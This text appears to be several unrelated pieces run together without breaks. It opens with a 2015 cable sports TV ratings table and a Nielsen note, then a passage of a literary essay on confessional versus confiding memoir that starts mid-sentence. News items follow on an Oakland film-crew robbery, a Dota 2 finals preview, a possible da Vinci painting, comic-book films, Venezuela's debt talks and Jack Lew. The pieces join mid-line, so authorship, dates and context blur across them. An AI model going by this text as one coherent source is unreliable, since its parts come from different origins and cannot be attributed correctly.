COLLEGE FOOTBALL LIVE ESPNU 6:00 AM 6:30 AM 19 0.0 SHAQ NBAT SHAQTIN A FOOL: 75TH EP SPCL 6:00 PM 6:30 PM 19 0.0 ESPNU FILM ROOM ESPNU 6:30 PM 7:00 PM 18 0.0 CHAMPIONS TOUR LRNG CTR GOLF 2:30 AM 3:00 AM 18 0.0 INSIDE THE PGA TOUR GOLF 2:00 AM 2:30 AM 18 0.0 SHAQ NBAT SHAQTIN A FOOL: MIDSEASON AWARDS SPECIAL 6:30 PM 7:00 PM 18 0.0 COLLEGE FOOTBALL LIVE ENN 7:30 AM 8:00 AM 17 0.0 PASION UDN 4:00 PM 6:00 PM 17 0.0 UCL GROUP STAGE D FS2 JUVENTUS FOOTBALL CLUB/SEVILLA 10:00 PM 12:00 AM 16 0.0 REAL TRAINING CAMP L NBAT 2015 MILWAUKEE BUCKS L 11:00 AM 2:00 PM 16 0.0 FOX SPORTS LIVE FS1 1823 8:00 AM 9:00 AM 15 0.0 NBA GAMETIME NBAT GAMETIME 9/29/15 10:30 AM 11:00 AM 15 0.0 FOX SPORTS LIVE FS1 1823 6:00 AM 7:00 AM 14 0.0 FANTASY FOOTBALL LIVE NBCSN 8:30 AM 9:00 AM 14 0.0 COLLEGE FOOTBALL REPEAT ESPNU TEXAS A&M/MISSISSIPPI STATE 12:00 AM 3:00 AM 13 0.0 UCL GROUP STAGE FS1 PORTO/CHELSEA 9:00 AM 11:00 AM 13 0.0 NBA GAMETIME NBAT GAMETIME 9/29/15 6:30 AM 7:00 AM 13 0.0 LIGA MX EN 30 UDN 2:00 PM 2:30 PM 13 0.0 LOCURA DEPORTIVA UDN 6:00 PM 7:00 PM 13 0.0 NASCAR AMERICA NBCSN 6:00 AM 7:00 AM 12 0.0 BAYERN MUNICH TV UDN 11:00 AM 2:00 PM 12 0.0 LIGA MX EN 30 UDN 2:30 PM 3:00 PM 12 0.0 NASCAR AMERICA NBCSN 7:00 AM 8:00 AM 11 0.0 FUTBOL EN SERIO PUNTO UDN 2:00 AM 3:00 AM 10 0.0 CENTRAL FOX WEST FOXD 1:00 AM 2:00 AM 9 0.0 LA ULTIMA PALABRA FOXD 2:00 AM 3:00 AM 9 0.0 MORNING DRIVE GOLF 7:00 AM 8:00 AM 9 0.0 CHAMPIONSHIP DRIVE ESPNU POWER HOUR 9:00 AM 10:00 AM 8 0.0 FOX SPORTS LIVE FS1 1823 11:00 AM 12:00 PM 8 0.0 EXPRESS WEEKDAY BEIN EXPRESS XTRA WEEKDAY-L 10:00 PM 11:00 PM 7 0.0 PRO FOOTBALL TALK NBCSN 8:00 AM 8:30 AM 7 0.0 LA LIGA BBVA MARQUEE BEIN BARCELONA VS. LAS PALMAS 8:00 PM 10:00 PM 6 0.0 NBA GAMETIME NBAT GAMETIME 9/29/15 6:00 AM 6:30 AM 6 0.0 NBA GAMETIME NBAT GAMETIME 9/29/15 7:00 AM 7:30 AM 6 0.0 NBA GAMETIME NBAT GAMETIME 9/29/15 7:30 AM 8:00 AM 6 0.0 NBA GAMETIME NBAT GAMETIME 9/29/15 10:00 AM 10:30 AM 6 0.0 CONTACTO DEPORTIVO UDN 3:00 PM 4:00 PM 6 0.0 REAL MADRID TV BEIN REAL MADRID TV 7:00 PM 8:00 PM 5 0.0 RED BULL CLIFF DIVING FS2 MOSTAR 1:00 AM 2:00 AM 5 0.0 NBA GAMETIME NBAT GAMETIME 9/29/15 9:00 AM 9:30 AM 5 0.0 NBA GAMETIME NBAT GAMETIME 9/29/15 9:30 AM 10:00 AM 5 0.0 LA ULTIMA PALABRA EARLY FOXD 9:00 AM 10:00 AM 4 0.0 NBA GAMETIME NBAT GAMETIME 9/29/15 8:30 AM 9:00 AM 4 0.0 SUPER ESTADIO UDN 8:00 AM 11:00 AM 4 0.0 NBA GAMETIME NBAT GAMETIME 9/29/15 8:00 AM 8:30 AM 3 0.0 90 IN 30 BEIN REAL MADRID VS. MALAGA 1:30 PM 2:00 PM 2 0.0 HANDBALL BEIN VELUX – VESZPR?M H.C. VS. SG FLENSBURG-H 5:00 PM 6:30 PM 2 0.0 CENTRAL FOX EARLY FOXD 7:00 AM 8:00 AM 2 0.0 CENTRAL FOX EARLY FOXD 8:00 AM 9:00 AM 2 0.0 RED BULL CLIFF DIVING FS2 THE AZORES 6:00 AM 7:00 AM 2 0.0 UCL GROUP STAGE D FS2 OLYMPIQUE LYONNAIS/VALENCIA 8:00 AM 10:00 AM 2 0.0 GOLF CENTRAL GOLF 6:00 AM 6:30 AM 2 0.0 EXPRESS WEEKDAY BEIN EXPRESS XTRA WEEKDAY-R 1:00 AM 2:00 AM 1 0.0 HANDBALL BEIN VELUX – REWIND SHOW 9:30 AM 10:00 AM 1 0.0 LIGUE 1 BEIN OLYMPIQUE DE MARSEILLE VS. ANGERS 11:00 AM 1:00 PM 1 0.0 SERIE A BEIN NAPOLI VS. JUVENTUS 11:00 PM 1:00 AM 1 0.0 COPA SUDAMERICANA FOXD RD16:INDEP SANTA FE VS EMELEC 10:00 AM 11:53 AM 1 0.0 NASCAR RACE HUB FS2 405 2:00 AM 3:00 AM 1 0.0 GOLF CENTRAL SPECIAL RPT GOLF RYDER CUP-YEAR TO GO 6:30 AM 7:00 AM 1 0.0 CONTACTO DEPORTIVO UDN 7:00 AM 8:00 AM 1 0.0 90 IN 30 BEIN INTER VS. FIORENTINA 6:00 AM 6:30 AM 0 0.0 90 IN 30 BEIN INTER VS. FIORENTINA 1:00 PM 1:30 PM 0 0.0 ATP WORLD TOUR UNCOVERED BEIN ATPWORLD 4:30 PM 5:00 PM 0 0.0 EXPRESS WEEKDAY BEIN EXPRESS XTRA WEEKDAY-R 7:00 AM 8:00 AM 0 0.0 HANDBALL BEIN VELUX – VESZPR?M H.C. VS. SG FLENSBURG-H 8:00 AM 9:30 AM 0 0.0 HANDBALL BEIN VELUX – REWIND SHOW 6:30 PM 7:00 PM 0 0.0 LA LIGA WORLD BEIN LIGAWORLD 2:00 PM 2:30 PM 0 0.0 LA LIGA WORLD BEIN LIGAWORLD 2:00 AM 2:30 AM 0 0.0 LIGUE 1 HIGHLIGHT SHOW BEIN LIGUE 1 HIGHLIGHT SHOW 10:00 AM 10:30 AM 0 0.0 PAID PROGRAMMING BEIN 2:30 AM 3:00 AM 0 0.0 SERIE A BEIN AS ROMA VS. CARPI 2:30 PM 4:30 PM 0 0.0 SERIE A SHOW BEIN SERIE A SHOW – 10:30 AM 11:00 AM 0 0.0 WORLD OF GYMNASTICS BEIN WORLD OF GYMNASTICS 6:30 AM 7:00 AM 0 0.0 PAID PROGRAMMING FOXD 6:00 AM 7:00 AM 0 0.0 RED BULL CLIFF DIVING FS2 MOSTAR 7:00 AM 8:00 AM 0 0.0 CONTACTO DEPORTIVO UDN 6:00 AM 7:00 AM 0 0.0
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Note: viewership of around 100,000 or lower is technically what Nielsen refers to as a “scratch” i.e., not enough Nielsen panelists watched for Nielsen to validate it. There are around 20,000 homes in the Nielsen panel and a bit over 50,000 panelists, where 1 Nielsen panelist watching a whole telecast represents around 5,800 people. So something averaging a million viewers averaged around 170 people out of the 50K+ panel — small, but still statistically significant. But when there’s a show with 30,000 viewers, that’s only around 5 or 6 Nielsen panelists… |
them poignant, about his lower-middle-class Pennsylvania childhood in the ’40s. In lieu of drama, he offers a lovingly detailed portrait of a lost world, assembled from homely details like the cold chicken wrapped in stiff brown paper he carried to his father for lunch at his railroad job, or the two-staple anti-masturbation pamphlet his aunt sent him in the mail. He introduces his mother, who longed for the “copper wall lavaboes” and “pewter guinea hens” she saw photographed in glossy magazines, and his beloved sister, who would grow to be more and more powerful an influence in his life. These two “ran the family,” while the father’s travels for his railroad job kept him outside it, an occasional visitor with little parental authority. At one point, States mentions, parenthetically but tellingly, that there were “problems in the marriage.” “But that,” he goes on, “is a matter I don’t care to get into here.” By flagging these marital troubles, he levels with the reader. At the same time, he puts us on notice: this will not be a confession.
States’s father, who came of “solid farm stock,” wanted his son to follow him in his career with the railroad. But this son was inward-turned and reflective; in adolescence he began to betray signs of incipient literary-mindedness—solitary rambling and a dreamy, moody tendency. An early symptom was his aversion to Sundays, which seemed “saturated with emptiness … a hollow parenthesis in the week.” At his sister’s insistence, and at the cost of her own education, he became the first in his family to go to college. From there he went to graduate school, and on to a career as an academic and a writer.
The first two-thirds of “My Slight Stoop” is straightforwardly, nostalgically narrative. There’s no intimation that any psychological shoe will drop, no hint of impending crisis. It’s such a tale of normality that if it were told less beguilingly, the reader, like my students, would start to wonder what the point was. But then a turn comes, a startling one. It’s as if the narrative part of “My Slight Stoop” had been designed to drop away like a booster rocket, allowing a payload-carrying capsule to shoot straight into the higher reaches of philosophical insight.
States jumps ahead to the current day. Now he’s in his 60s. He opens, in the reader’s presence, the earliest of 40 years of his own letters, returned to him by the older sister we’ve heard so much about, who saved and treasured them until blindness rendered her unable to read them. These letters, kept in careful chronological order, unnerve him profoundly. Do they contain evidence of some incident he’d repressed, a memory of some trauma? No. What’s disturbing about them is that they smell of mortality, like Lear’s hand.
It is one thing to try to understand life, even by going back over it in your memory. … It is another thing to return to the artifacts you cast out while you were living it, to see that what you took as your own spontaneity was an infinite series of conventional choices or unconscious adaptations of attitudes, fears, and intolerances that are shared by almost everyone.
The earliest letter is full of pretentious “quites” and “indeeds,” just what you’d expect from a bright, self-conscious high school student. Absolutely normal and ordinary, but States’s point is that it’s his letter. Reading it now, he suffers a “spasm of self-allergy.” This and the letters that follow it were all “necessarily written from the standpoint of ignorance and in-betweenness. … Thus there is a real inevitability about letters that are re-read: they have the mark of fossils trapped in the tree gum of their own nearsightedness.”
It’s not just embarrassment at his youthful affectations that bothers States. It’s the record that his letters add up to, and what that record betrays. Any author’s work, taken as a whole, contains patterns—turns of phrase, frequently repeated words, characteristic figures of speech and metaphors—that serve an almost diagnostic purpose. They reveal, he writes, “the ‘genetic’ stamp through which a particular mind unthinkingly speaks itself, since style, good or bad, is something that expresses itself independently of conscious will.”
Here follows an aphoristic gem: “Style,” States writes, “is what you don’t know about yourself.” And what you don’t know about yourself is what you learn—if ever you do learn it—too late. “You find out about it all afterwards,” States writes, “in a sudden convulsion of realization. Pop, there it is. And of course it’s all over.”
To read your own letters is to view yourself from the outside, as if posthumously. States alludes to the scene in Thomas Mann’s The Magic Mountain in which Hans Castorp considers an X-ray of his own hand, and understands that he will die. “What a stunner!” writes States.
The last few pages of “My Slight Stoop” are given over to an extended meditation on time and the way we experience it. It’s not the abstract conclusion we might expect; instead it’s a playful account of his attempt, in the course of driving from Santa Barbara to Monterey to visit his sister (That sister! She becomes a mythic figure, an Atropos) to mentally merge the departure and arrival times, eliminating the interval between them. It’s such a familiar journey to States that this almost seems possible, though of course it isn’t. The problem is that he can’t retain his image of the projected arrival in the “mint condition necessary for the Match.” The moment of image formation slips away, inevitably “eaten” by its progeny, the moments that follow:
In short, this moment, any moment, is made of every other moment … so close are they as they unfold through each other that you should be able to walk backward in time on a path of moments to the beginning, if you could only convert time into little steppingstones about the size of your mind’s feet.
There’s more to follow about time’s one-way directionality, but I’ll leave States here, with this marvelously characteristic analogy. In the end, his essay is impossible to summarize without distortion. He’s not traveling directly from premise to conclusion. Instead, he’s following the course of his thought as it is interrupted and redirected by his memories, just as a mountain stream parts and closes around the rocks that litter its bed.
And this, I say to my students, is the reason he told us that long, comfortable story about his past. He was acquainting us with his memories, teaching them to us so that we might later follow him as he moves freely through philosophical space. In the absence of a confessional purpose, how did he motivate his narrative? By confiding in the reader.
But really, “The Love of My Life” and “My Slight Stoop” are incommensurable. Their narrative shapes are so different that it’s hard to believe they belong to the same genre. “My Slight Stoop” is like a mushroom—that’s how I envision it—a thick stalk of reminiscence flaring out into a philosophical cap. “The Love of My Life” has a more conventional design; it’s a scale-model memoir—it will later become the memoir Wild, and then a movie of the same name—with a memoir’s inverted narrative arc. It contains very little analysis, only Strayed’s complaint that in our deritualized society the pain of bereavement goes unacknowledged. (A fair point, but is it explanatory? Does she mean to suggest that if only she’d felt free to wail and rend her clothing, she’d have refrained from fellating the Terribly Large Texas Bull Rider?)
At any rate, after Strayed confesses her multiple infidelities to her husband, she develops a heroin habit and undergoes an abortion—this period obviously represents the inevitable bottoming-out—and then, having made a decision to walk the Pacific Crest Trail, begins to climb toward a familiar kind of redemption. She is too sophisticated not to ironize this development. The reader won’t get to witness a healing, she cautions. “Healing is a small and ordinary and very burnt thing.” (My students are always impressed by that “burnt.”) Healing means picking up one’s burden and trudging on.
But this is a distinction without a difference: the reader does get to witness a healing, and it’s all the more gratifying for having been disinfected by irony. “The Love of My Life” offers the ready-made satisfactions of a confessional narrative—the pilgrim’s-progress development, the uplifting ending—without the cornball aftertaste.
Let me return to the story about the debate on trauma narratives in which my opponent so thoroughly bested me (and spiked the ball outrageously at a party later that evening, I might add).
Nothing is wasted. My debate partner’s riposte—the one that stumped me and threw me off my timing—was that there need be no conflict between the therapeutic and aesthetic goals of autobiographical writing. You can get the painful story out and make it beautiful, which is all the better for your self-esteem. Since that evening, I’ve had a wisdom-of-the-stairs insight. I’ve realized that in spite of our differences, my debate partner and I both shared a fundamental—and wrong—assumption about the nature of autobiographical writing. It was that notion of “getting it out.”
The metaphor of taking something from inside the self and “removing” it to the outside is commonly used to describe the goal of art generally, but in autobiographical writing it carries a particularly heavy burden of literal-mindedness. It would seem that you contain your life history in a more obvious way than you contain a landscape you’re planning to paint or a novel you’re planning to write.
On second thought, maybe it doesn’t seem that way. A novelist might take an idea for a novel, which at least feels like a thing he harbors inside himself, do the writer’s work of shaping and developing it, and then remove it to the outside. Now the original conception has been replaced, the way a blueprint is superseded once the house is built. But after a memoirist completes a memoir, the past remains. Even if he somehow managed to extrude an exact replica of his past (and how could that be put into words, and who would want to read it?), the original would still be there inside him. Actually, the phrase “there inside him” concedes too much: his past constitutes him. It is him. He can’t, strictly speaking, get it out, or if he does, it can only be a version—a distortion—of the thing he wanted to get out. He can’t remove even a piece of it without threatening the integrity of the whole, because the elements of personal history are connected to one another. There’s no way to lift a portion out cleanly; it can only be torn loose, shreds of context still attached. A confiding writer is less likely to violate the truth of his own history than a confessional writer, if only because his claim on it tends to be more modest. Often, he is interested not so much in getting it out as in displaying it to illustrate some observation that the reader is invited to consider in the light of his own experience.
So what is the correct literary use of the mass of inalienable material that is a writer’s subjective history? There is no single right use, of course, but many, not excluding confessions, even if they’re never quite true (because a sophisticated reader knows to make allowances). But the real liability of confessional memoir is that, like fiction, it funnels experience into one or another of the very few basic narratives to which any story can be reduced. There’s the famous Joseph Campbell ur-plot about the hero who ventures away from home, survives great dangers, and returns, bringing back with him some power that benefits his people. Conversely, there’s the tale of the stranger who comes to town. But the story that most confessional memoirs can be reduced to is the simplest of all. It involves a protagonist (often a woman) who gets hurt or falls ill, and who survives through healing. A shockingly rudimentary plot, but highly versatile. There are so many ways to get sick or hurt, some bodily, some psychological, some both; there are so many impediments to healing, some built into the process itself (as in the “recovery” narrative), some attributable to the sins of others.
And what could be more universal? Everyone gets sick or hurt, and to one degree or another, everyone heals. The trauma narrative is associated with all kinds of good feelings for the reader—schadenfreude, of course, and also the comforting sensation of inclusion in a community of people who hurt just the way you hurt. Listening to a story of pain and healing can revive a demi-religious sense of awe, because healing really does seem miraculous. It’s pleasant to feel empathy—to know you’re capable of it—and reassuring to imagine others feeling it toward you. No wonder the trauma narrative is so powerful. No wonder my students, like subjects in some operant conditioning experiment gone awry, responded to it prematurely. If you know the story in advance, why delay the delivery of the feelings you know it will make you feel?
A confession always has to do with power. Either the confessing writer is appealing to some power that he invests in the reader or working his own theatrical power on his reader. He can even do both these things simultaneously, but the relationship is never for a moment reciprocal, never equal. As I observed earlier, his eyes are either raised or lowered, never level with the reader’s.
The confiding relationship, on the other hand, is inherently equal, reciprocal, and free of the taint of power. Like reciprocity more generally, it’s morally superior to the exercise of power—in real life, at least. But what about on the page? How can the writer enjoy a relationship of equality and reciprocity with a reader he can’t actually know? This is impossible; some trick must be involved.
And so it is. Here’s how I think it works: the writer invents a kind of stand-in for the reader, an imagined representative who asks the writer the kinds of questions a real reader would ask. Meanwhile, the actual reader, who of course can never be addressed directly, listens in. It’s a three-cornered arrangement.
This internalized other, this miniature U.N. observer-figure, need not be characterized, or even personified. He can shrink to the size of an Archimedean point. His function, however, is just like that of any real-life confidant. Entire categories of things about us—our style, as Bert States observes, is one of them—can’t be seen from the inside. When we confide in a friend, we are, among other things, soliciting an outside view, a corrective to self-blindness. So too the writer depends on the internalized reader as a check against the notorious temptations of an intensely subjective genre—self-mythification, self-dramatization, self-justification, self-pity. In the process of accommodating the questions that he imagines a reader might ask, a writer may also examine his own motives, raise moral issues, explore philosophical implications, make sociological observations. Because the confiding mode is not goal directed in the way confession is, it allows great space and leisure for speculation. But it need not open out this way; the confiding writer can stay close to home.
This is the great distinction of the confiding writer—that in his work he recognizes himself as the stable occupant of the home of the self. Instead of getting anything out, he invites the reader in. Or rather, through the benign mediation of the imaginary reader he has invented for the purpose, he gives the actual reader a virtual tour. If the imaginary reader asks the right questions, and if the actual reader is attuned enough to them, then the actual reader follows one of the thought-paths that he might follow if he were an actual confidant. It’s an “as-if” dialogue.
The confiding mode in autobiographical writing offers both the writer and the reader (the real reader, that is) relief from loneliness—not the loneliness of pathology, but the intrinsic loneliness of the human condition. This is how it is in here, the writer is saying as he flings open the doors to his subjective home, and the reader is relieved to see that it’s very much like his own set of rooms.
From the actual reader’s perspective, the relationship between writer and reader can seem uncannily transparent and artless, especially when the writer has mastered that skill so specific to the confiding form—writerly tact. A really good writer can manage the three-way relationship so as to bring the reader very close. I think of the moment in Natalia Ginzburg’s “He and I” in which she confides that when she weeps during fights with her husband, she always remains quite calm beneath her tears. Reading this, I thought, yes, exactly, and that small shock of recognition woke me to the reality that I’d been reading and not talking with a friend. It had seemed so real. I’d forgotten for a moment that it wasn’t, that it couldn’t be, that it was an illusion, and that this illusion made it art.OAKLAND — A crew filming a commercial last week for PG&E in East Oakland was robbed at gunpoint of tens of thousands of dollars worth of video equipment, authorities said Monday.
None of the more than half-dozen film crew members and PG&E employees with them were robbed of personal items and there were no injuries.
The robbery happened just before 10 a.m. Friday in the 3600 block of Bruce Street, a half block from Edna Brewer Middle School where a Berkeley camera crew was filming a commercial for the utility company that had representatives present.
Police said two men, one pointing a pistol, approached the group and demanded their equipment.
The robbers then took some cameras, lenses and other equipment; put them in a car parked near East 36th Street; and drove off.
Detailed descriptions of the robbers were not released.
PG&E spokeswoman Tamar Sarkissian said the utility was cooperating with police.
“The safety and security of our customers, communities, employees and contractors is our top priority. There was an incident involving subcontractors and PG&E employees,” Sarkissian said. “Thankfully, no one was injured.”
The robbery was the latest is a series of more than a dozen dating back to 2012 in which photographers and television and other video crews have been targeted.
The most recent was May 1 when a freelance photographer associated with the Bay Area News Group was robbed at gunpoint of his equipment in the 800 block of Cleveland Street just off Park Boulevard near Oakland High School after completing an assignment.
Police and Crime Stoppers of Oakland are offering up to $15,000 in reward money for information leading to the arrest of the robbers from last week.
Anyone with information may call police at 510-238-3326 or Crime Stoppers at 510-777-8572.Na`Vi versus Cloud 9 in D2CL finals tonight
Natus Vincere and Cloud 9 will be competing in a best-of-five showdown tonight for at least $25,000 and the Dota 2 Champions League Title. Their match will start at at 19:00 CET.
After a little over two months, we have finally reached the grand finals of the Dota 2 Championship League's second season. A lot is at stake in this match-up. Both teams are trying to establish momentum as they prepare in their upcoming tournaments. Aside from the pride and honor which are always at stake, this match would also spell the prize difference of at least $10,000 for the teams.
Natus Vincere is entering the finals as the favorite. After topping their group in this tournament, the Ukranian team battled a feisty Alliance team in a 3-2 thriller semi-finals match. Among the teams that Na`Vi has bested in the group stage is Cloud 9 itself, winning their match last February in the score of 2-1.
Cloud 9, as mentioned above, didn't have as beautiful start in this tournament as their opponents had. They had a mediocre 6-4 record, just barely enough for a third place finish in their group. However, they have come alive in the playoffs, as they defeated both Fnatic and the streaking Empire in the scores of 3-1 in the quarterfinals and semifinals respectively. Cloud 9 is also trying to better their result from the first season, wherein they (then known as Speed Gaming) finished second.
Natus Vincere
Wins-Losses-Draws : 294-99-11 (74%) - matches
Last 20 matches : 22 - 10 (68.5%) - maps
Common :
Look out for :
Cloud 9
Wins-Losses-Draws : 155-70-8 (68%) - matches
Last 20 matches : 18 - 13 (58%) - maps
Common :
Look out for :
Both teams are part of highly competitive western tournaments, which is why after considering the opposition, their recent performance is actually better than what it seems. The Ukranian team is not far off their average, and they have actually won for out of their last five matches. C9, despite experiencing a big drop in their winning percentage, is running in high spirits after clinching a spot in the WPC-ACE's LAN playoffs behind back-to-back victories versus Team Dog and Fnatic.
Aside from their match in this tournament's group stage, these teams had also faced one another twice in recent memory. Both of those matches were held just this April, with Na`Vi winning the first encounter and C9 taking the second. The aggregate score of those two matches is an equal two matches apiece for both sides. The teams are seemingly in equal footing and with their exciting playstyles, tihs should make another thrilling best-of-five championship series.
The best-of-fiive finals is scheduled at 19:00 CET today. There will be an English and a Russian cast. You can find the match page, together with the bets, stream and picks, here.Fiona McLaren, 59, had kept an old painting in her Scottish farmhouse for decades. She reportedly didn't think much of the painting, which had been given to her as a gift by her father. But after she finally decided to have the painting appraised, some experts are speculating that it may in fact be a 500-year-old painting by Leonardo da Vinci and potentially worth more than $150 million.
"I showed it to him [auctioneer Harry Robertson] and he was staggered, speechless save for a sigh of exclamation," said Ms. McLaren, according to The People.
The Daily Mail says the painting may be of Mary Magdalene holding a young child. The painting is now undergoing further analysis by experts at the Cambridge University and the Hamilton Kerr Institute, who will attempt to uncover its exact age and origins.
Even if the painting is not a da Vinci original, it is believed to at least be from the da Vinci school, created by one of the master's pupils during the 16th century.
A papal bull was found attached to the back of the painting and is believed to have originated from the era of Pope Paul V, head of the Catholic Church in the early 17th century. McLaren says the word "Magdalene," is visible on the faded paper.
McLaren says she hopes the painting is sold to a museum, and she plans to donate a percentage of the painting's sale value after it is auctioned.
Find Out More About da Vinci:LOS ANGELES — No superheroes please. I was tasked with naming the best comic book films that did not originate in costumed crusader sagas from either Marvel or DC Comics.
I enthused about six (plus honourable mentions) and shared them with producer-director Zack Snyder.
He cited it as “a pretty strong list,” and not just because I included one of his titles.
Snyder, who just produced 300: Rise of an Empire, offered up a seventh: Road to Perdition. “That’s a great movie.”
He also explained why comic books are such a rich vein: “Now, all of the ‘A’ effort is in genre films. Genre is now the money-making thing!”
In order, my favourites — with Snyder’s input:
• 300 (2006)
Source: Frank Miller’s 1998 graphic novel for Dark Horse Comics.
The Movie: Zack Snyder’s cult classic, starring Gerard Butler as Sparta’s King Leonidas.
Worldwide Box office: $456 million.
The Inside Story: Facing a massive Persian invasion in 480 B.C., 300 Spartans and 700 Thespians fight to the death to slow the enemy at the Hot Gates. Shot inside a Montreal sound stage, the highly stylized film re-invents a legendary tale from the ancient world.
• A History of Violence (2005)
Source: John Wagner and Vince Locke’s graphic novel, first published in 1992 by Paradox Press (then a division of DC Comics, but run independently without superheroes).
The Movie: Canadian filmmaker David Cronenberg’s brilliant drama, starring Viggo Mortensen as the reluctant town hero.
Worldwide Box office: $60.7 million
The Inside Story: The terrific William Hurt earned an Oscar nom despite being unsure that his “operatic” approach was appropriate in such a realistic film. “Cronenberg literally is one of my favourite directors,” says Snyder, whose daily coffee mug reads: “Long live the new flesh!”
• Hellboy (2004)
Source: Mike Mignola’s graphic novels, which kicked off in San Diego Comic-Con Comics in 1993.
The Movie: Guillermo del Toro’s action-packed opus, starring Ron Perlman as the dynamic demon.
Worldwide Box office: $99.3 million.
The Inside Story: Armed with superhuman powers, Hellboy grumpily defends mankind from evil forces. Del Toro conjured the weirdness necessary to make this into a deliciously wicked comedy romp. A lesser sequel, Hellboy II: The Golden Army, appeared in 2008.
• Ghost World (2001)
Source: Daniel Clowes’ graphic novel, originally serialized in 1993-1997 as part of Eightball for Fantagraphics Books.
The Movie: Writer-director Terry Zwigoff’s brilliant collaboration with Clowes, starring Thora Birch as Enid Coleslaw and Scarlett Johansson as Rebecca Doppelmeyer.
Worldwide Box office: $8.8 million.
The Inside Story: Despite deviating from the comics and angering purists, Zwigoff’s movie provocatively tells the story of two marginalized teens with a warped perspective.
• Sin City (2005)
Source: Frank Miller’s neo-noir graphic novels, first appearing in Dark Horse Comics in 1991.
The Movie: A three-director collaboration involving Miller, Robert Rodriguez and guest Quentin Tarantino, with Bruce Willis heading an all-star cast.
Worldwide Box office: $159 million.
The Inside Story: Violent but incredibly stylish, the original movie stirred up passions. Miller and Rodriguez are readying Sin City: A Dame to Kill For for August.
• Scott Pilgrim vs. the World (2010)
Source: Bryan Lee O’Malley’s comic series Scott Pilgrim, which debuted in 2004 for Oni Press.
The Movie: Edgar Wright’s comedy-fantasy, starring Michael Cera.
Worldwide Box office: $47.7 million.
The Inside Story: A Canadian rocker in Toronto has to defeat the seven evil ex’es of an American girl before she will date him. Poorly sold as “an epic of epic epicness,” Wright’s charming movie deserved better distribution and boxoffice.
• Road to Perdition (2002):
Source: Max Allan Collins’ graphic novels, first debuting in 1993 for Paradox Press.
The Movie: Sam Mendes’ 2002 crime thriller, starring Tom Hanks as the professional hitman and Paul Newman as his boss.
Worldwide Box office: $181 million.
The Inside Story: When the hitman’s job is exposed, he faces a family crisis. Nominated for six, it won one posthumous Oscar for the gorgeous cinematography of legend Conrad Hall.
• Honourable Mentions: Tales from the Crypt (1972), The Crow (1994), The Mask (1994), American Splendor (2003) and V for Vendetta (2005); plus the vintage TV series Tales from the Crypt and the current TV series The Walking Dead.
bruce.kirkland@sunmedia.caCARACAS (Reuters) - Venezuela’s socialist government gifted chocolates to creditors on Monday, but offered no firm proposals at a brief meeting in Caracas that left investors without a clear understanding of the government’s strategy to renegotiate $60 billion in debt.
President Nicolas Maduro confused investors this month with a vow to continue paying Venezuela’s crippling debt, while also seeking to restructure and refinance it.
Both restructuring and refinancing appear out of the question, however, due to U.S. sanctions against the crisis-stricken nation. A default would compound Venezuela’s dire economic crisis.
Monday’s short and confused meeting, attended by senior Venezuelan officials blacklisted by the United States, gave no clarity on how Maduro would carry out his plan, bondholders and their representatives who participated said afterwards.
That means Venezuela remains with the dilemma of whether to continuing paying debt at the expense of an increasingly hungry and sick population, or defaulting on creditors and burning its bridges to the global financial system.
“There was no offer, no terms, no strategy, nothing,” said one bondholder, leaving the meeting that lasted a little over half an hour at the ‘White Palace’, departing with a colorful gift-bag containing Venezuelan chocolates and coffee.
But bond prices maintained last week’s rally, with one investor saying there was relief the meeting did not include a default announcement.
Nearly $300 million in late interest payments on three bonds - PDVSA 2027, Venezuela 2019 and Venezuela 2024 - was also due on Monday after 30-day grace periods ended. But bondholders appeared unconcerned at the delay, which was due in part to increased bank vigilance of Venezuela transactions.
“My expectation is that the coupon payments will come through as well,” said Jan Dehn, Head of Research at Ashmore Investment Management. “We know that these delays exist and why they exist.”
About 100 investors, including some bondholders from New York and lawyers representing creditors, entered the ‘White Palace’ via a red carpet and were greeted by a poster of Maduro’s predecessor Hugo Chavez at the entrance of the meeting room inside.
SANCTIONS OVERSHADOW MEETING
Chief debt negotiators Vice President Tareck El Aissami and Economy Minister Simon Zerpa - on U.S. sanctions lists for drug and corruption charges respectively - attended the meeting for half an hour.
A woman counts Venezuelan bolivar notes at a vegetable street market in Caracas, Venezuela November 13, 2017. REUTERS/Marco Bello
They met with some bondholders, while others stayed out of the room on concerns about penalties for dealing with officials sanctioned by Washington.
El Aissami told creditors that Deutsche Bank may soon cut off some financial services to Venezuela, participants said.
Deutsche declined to comment.
He read a statement protesting unfair treatment by global financial institutions, including U.S. President Donald Trump’s sanctions aimed at preventing Venezuela from issuing new debt.
“Now Maduro can say: ‘I showed goodwill, the bondholders showed goodwill... but unfortunately because Uncle Sam is not playing ball we can’t (refinance)’,” said Dehn, who did not attend the meeting.
“I’m not hugely surprised nothing’s come out of that meeting.”
Separately, the European Union approved economic sanctions and an arms embargo on Venezuela on Monday, although it has yet to name who will be subject to the sanctions.
Markets continue to remain optimistic that Venezuela will service its debts, noting it has made close to $2 billion in payments in the past two weeks, albeit delayed.
Bond prices were up across the board on Monday, with the benchmark 2022 notes issued by state oil firm PDVSA [PDVSA.UL] rising 3.3 percentage points.
The economic implosion has already taken a brutal toll on Venezuelans. Citizens are suffering from malnutrition and preventable diseases because they cannot find food and medicine or cannot afford them because of triple-digit inflation.
The sight of poor Venezuelans eating from garbage bags has become a powerful symbol of decay. It contrasts sharply with the era of Chavez, when high oil prices helped fuel state spending.
Halting debt service would free up an additional $1.6 billion in hard currency by the end of the year. Those resources could be used to improve supplies of staple goods as Maduro heads into a presidential election expected for 2018.
Slideshow (9 Images)
But the strategy could backfire if met with aggressive lawsuits. A default by PDVSA, which issued about half of the country’s outstanding bonds, could ensnare the company’s foreign assets such as refineries in legal battles - potentially crimping export revenue.
(For a graphic on 'Venezuela's economy' click tmsnrt.rs/2pPJdRb)Barring a financial meltdown, the Treasury Secretary’s work is usually behind-the-scenes stuff. Weighty to be sure, but not exactly headline grabbing. This week has been an exception, which Jack Lew acknowledged as he sat down for an interview Thursday at the historic Treasury Building in Washington, D.C. With the conversation zipping from a sweeping trade bill, to high-profile, tough-love negotiating with the Chinese, to a possible Greek denouement -- oh and did we mention a little controversy over the $10 bill -- Lew appeared to be positively energized, and dare we say, even a bit outspoken, for this usually oh-so measured man.
Lew certainly didn’t mince words when it came to Greece, which faces a deadline in a matter of days to renegotiate its debt package. “I hope they take this weekend seriously. The thing about the conversations around Greece that have been of concern to me is the number of deadlines, the number of times it's gotten right to the edge,” says Lew, who’s been in regular touch with European leaders including Greek Prime Minister Alexis Tsipras.
“The risk of an accident goes up the more times you have these [situations, and] everyone rushes to a deadline. I hope they can reach an agreement that prevents Greece from going through the deep pain that a breakdown would cause, and it doesn't create risks to either the European or the global economy. This is not the time for a shock.”
